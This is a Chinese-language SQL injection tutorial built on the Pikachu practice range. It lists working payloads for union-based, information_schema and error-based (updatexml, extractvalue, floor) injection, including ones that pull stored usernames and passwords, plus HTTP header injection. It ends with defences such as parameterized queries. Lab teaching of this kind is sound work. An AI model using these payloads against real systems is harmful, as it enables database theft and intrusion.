一、概述
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
常见的注入类型:
- 数字型:user_id = $id
- 字符型:user_id = ‘$id’
- 搜索型:text like ‘%{$_GET[‘search’]}%’
二、环境
测试工具:Burp Suite
浏览器:火狐
靶场:Pikachu
三、SQL Inject漏洞攻击流程
第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现
第二步:信息获取
通过注入点取期望得到的数据。
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。
2.数据库信息:数据库名称数据库表,表字段,字段内容(加密内容破解)
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马
四、数字型注入(post)
1、测试目标
2、猜测SQL语句
select 字段1,字段2 from 表名 where userid = 1;
3、拼接合法SQL语句
select 字段1,字段2 from 表名 where userid = 1 or 1=1;
4、通过Burp Suite重发进行SQL注入
五、字符型注入(get)
1、测试目标
2、猜测SQL语句
select 字段1,字段2 from 表名 where useername= ’ kobe ';
3、拼接合法SQL语句
select 字段1,字段2 from 表名 where useername= ’ kobe’ or 1=1 # ';
4、注入 kobe’ or 1=1 #
六、搜索型注入
1、测试目标
2、猜测SQL语句
select 字段1,字段2 from 表名 where useername= ‘% kobe %’;
3、拼接合法SQL语句
select 字段1,字段2 from 表名 where useername= ‘% kobe%’ or 1=1 # %’;
4、注入kobe%’ or 1=1 #
七、union注入
1、union联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id=1 union select 字段1 ,字段2 from 表名
联合查询的字段数需要和主查询一致!
2、确定查询字段数:通过order by 进行确认
select 字段1,字段2 from 表名 where useername= 'kobe' order by 1;#按字段1排序
select 字段1,字段2 from 表名 where useername= 'kobe' order by 2;#按字段2排序
select 字段1,字段2 from 表名 where useername= 'kobe' order by 3;#报错
-
注入’ order by 3#
报错:Unknown column ‘3’ in ‘order clause’,说明没有字段3. -
逐步往下测试,直到不报错,就能确定字段数
3、拼接合法闭合
select 字段1,字段2 from 表名 where useername= '' union select user(),database()#;
4.注入’ union select user(),database()#,就能获取用户和数据库名
八、information_schema注入
1、在mysq|中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
-
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
-
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
-
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
2、获取表名(users)
select id,email from member where username = ’ kobe’ union select table_ schema, table_ name from information_ schema. tables where table_ schema= ‘pikachu’;
test payload :
kobe’ union select table_schema, table_name from information_schema.tables where table_schema=‘pikachu’#
3、获取字段名(username,password)
select id,email from member where username = ’ kobe’ union select table_ name, column name f rom info rmation_ schema.columns where table_ name= ‘users’ ;
test payload :
kobe’ union select table_name, column_name from information_schema. columns where table_name=‘users’#
4、获取内容(账号密码)
select id, email from member where user name = ’ kobe’ union select username, password from users;
test payload:
kobe’ union select username,password from users#
九、基于函数报错的注入
1、三个常用的用来报错函数
-
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
语法: UPDATEXML (xml_ document, XPathstring, new_value)
第一个参数: fledname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new_value , String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则则会发生错误 -
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
语法: ExtractValue(xml_document, xpath_string)
第一个参数: XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_string (Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误 -
floor():MYSQL中用来取整的函数。
2、基于报错:updatexml()
-
获取数据库版本信息:kobe’ and updatexml(1, version(),0)#
报错信息:XPATH syntax error: ‘.14-MariaDB’
-
concat(0x7e,version()):版本号前面添加0x7e(~),避免信息显示不全
kobe’ and updatexml(1, concat(0x7e,version()),0)#
报错信息:XPATH syntax error: ‘~10.4.14-MariaDB’
-
报错只能一次显示一行
kobe’ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu’)) ,0)#
报错信息:Subquery returns more than 1 row
-
可以使用limit 0,1(第0行,步长为1)一次一次进行获取表名:
kobe’ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0)#报错信息:XPATH syntax error: ‘~httpinfo’
-
基于insert/update下的报错:
xiaohong’ or updatexml(1, concat(0x7e,database()),0) or ’报错信息:XPATH syntax error: ‘~pikachu’
-
基于delete下的报错:
1 or updatexml(1, concat(0x7e,database()) ,0)
3、基于报错:extractvalue( )
kobe’ and extractvalue(0, concat(0x7e, version()) )#
报错信息:XPATH syntax error: ‘~10.4.14-MariaDB’
4、基于报错:floor()
kobe’ and (select 2 from (select count(*), concat (version(), floor(rand(0)*2))x from
information_schema.tables group by x)a)#
报错信息:Duplicate entry ‘10.4.14-MariaDB1’ for key ‘group_key’
十、http header注入
1、一般存在于访问信息的记录
2、到Burp Suite中进行重发操作
- 在User-Agent中输入一个单引号(’)进行验证是否存在http header注入
- 在User-Agent中输入xiaohong’ or updatexml(1, concat(0x7e,database()),0) or ’
十一、防止SQL注入
一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!